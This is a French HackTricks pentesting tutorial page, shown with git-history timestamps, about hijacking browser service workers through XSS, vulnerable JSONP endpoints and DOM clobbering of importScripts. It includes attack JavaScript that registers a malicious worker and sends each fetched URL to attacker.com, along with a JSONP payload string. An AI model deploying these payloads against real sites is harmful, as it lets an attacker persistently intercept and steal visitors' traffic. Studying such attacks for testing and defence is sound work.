hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

131 lines
10 KiB
Markdown
Raw Normal View History

# Abus des Travailleurs de Service
2022-12-20 11:25:07 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informations de Base
2022-12-20 11:25:07 +00:00
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, indépendamment de toute page web, permettant des fonctionnalités qui ne nécessitent pas une page web ou une interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service au sein d'un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
2022-12-20 11:25:07 +00:00
### Vérification des Travailleurs de Service Existants
2022-12-20 11:25:07 +00:00
Les travailleurs de service existants peuvent être vérifiés dans la section **Travailleurs de Service** de l'onglet **Application** dans les **Outils de Développement**. Une autre méthode consiste à visiter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) pour une vue plus détaillée.
2022-12-20 11:25:07 +00:00
### Notifications Push
2022-12-20 11:25:07 +00:00
Les **autorisations de notifications push** impactent directement la capacité d'un **travailleur de service** à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les autorisations sont refusées, cela limite le potentiel du travailleur de service à poser une menace continue. En revanche, accorder des autorisations augmente les risques de sécurité en permettant la réception et l'exécution d'exploitations potentielles.
2022-12-20 11:25:07 +00:00
## Attaque Créant un Travailleur de Service
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Pour exploiter cette vulnérabilité, vous devez trouver :
2022-12-20 11:25:07 +00:00
* Un moyen de **charger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le travailleur de service** du fichier JS chargé
2023-06-03 13:10:46 +00:00
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec une charge utile** qui **chargera un travailleur de service malveillant**.
2022-12-20 11:25:07 +00:00
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau travailleur de service** qui écoutera l'événement `fetch` et **enverra vers le serveur des attaquants chaque URL récupérée** (c'est le code dont vous auriez besoin de **charger** sur le **serveur** ou de charger via une réponse **JSONP vulnérable**) :
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
Et voici le code qui va **enregistrer le worker** (le code que vous devriez pouvoir exécuter en abusant d'un **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** pour **notifier** si l'**enregistrement** du service worker a été réussi ou non:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
En cas d'abus d'un point de terminaison JSONP vulnérable, vous devez placer la valeur à l'intérieur de `var sw`. Par exemple:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Il existe un **C2** dédié à l'**exploitation des Travailleurs de Service** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour abuser de ces vulnérabilités.
2022-12-20 11:25:07 +00:00
La directive de **cache de 24 heures** limite la durée de vie d'un Travailleur de Service (SW) malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Les développeurs sont également invités à créer un [**interrupteur d'arrêt du service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
2022-12-20 11:25:07 +00:00
## Abus de `importScripts` dans un SW via le DOM Clobbering
2022-12-20 11:25:07 +00:00
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
**Cela contourne même les protections CSP.**
2022-12-20 11:25:07 +00:00
**Exemple de code vulnérable :**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
2022-12-20 11:25:07 +00:00
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-06-03 13:10:46 +00:00
### Avec le DOM Clobbering
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
2022-12-20 11:25:07 +00:00
Pour un exemple, consultez le lien de référence.
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
## Références
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-12-20 11:25:07 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>